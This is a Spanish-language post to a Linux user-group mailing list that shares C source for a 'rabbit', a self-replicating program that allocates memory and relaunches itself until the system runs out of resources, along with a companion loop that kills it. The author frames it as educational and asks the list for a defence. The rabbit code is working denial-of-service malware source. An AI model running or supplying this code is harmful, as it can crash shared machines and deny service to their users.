Bueno, los otros d�as me sent� a programar, y me sali� de adentro mi parte malvada, 
por lo que quise realizar un conejo, el mismo es un programa que se reproduce hasta 
acabar con los recursos del sistema dej�ndolo inhabilitado, he intentado detenerlo, 
pero solo he podido hacer un programa (una especie de 'antivirus') que lo mata si se 
ejecuta a tiempo.
El conejo deben compilarlo como rabbit para que ande de forma correcta.
El hecho de que mando esta maldad a la lista es por saber si alguien le encuentra una 
soluci�n, ya que visto esto cualquier usuario normal puede colgarnos el sistema de una 
forma m�s que genial.
Abajo incluyo el c�digo del 'anticonejo', que solo andar� si es corrido a tiempo, ya 
que sino ni el mismo podr� detenerlo, dado que tirar� que no hay recursos suficientes 
para correr el programa, el anticonejo funciona y corre antes que el conejo por el 
hecho de que el conejo tiene que realizar una sentencia m�s (el hecho de tener que 
alojar memoria).


-------------------C�digo Conejo-------------------


/*
  Guardar como rabbit.c
  Compilar con gcc rabbit.c -o rabbit
  Programado con fines educativos
*/

#include <stdio.h>
#include <stdlib.h>

int main (void) 
{
    int *ptr;
    for(;;)
        {
        ptr = malloc(2000000);
        system("./rabbit");
        }
    return 0;
}



-------------------C�digo AntiConejo-------------------


/*
  Guardar como anticonejo.c
  Compilar con gcc anticonejo.c -o anticonejo
  Ejecutar con ./anticonejo
  Programado con fines educativos
*/

#include <stdio.h>
#include <stdlib.h>

int main (void) 
{
    for(;;)
        {
        system("killall rabbit");
        }
    return 0;
}


Comento que tambi�n realic� una versi�n para g�indou$$$ que realiza la misma tarea que 
se realiza en Linux, con el hecho de que no se como matar un proceso en g�indou$$$, en 
tal sentido no he hecho un 'anticonejo' para este 'OS' (�OS?).

_______________________________________________
Lugro mailing list
[EMAIL PROTECTED]
http://www.lugro.org.ar/mailman/listinfo/lugro

Responder a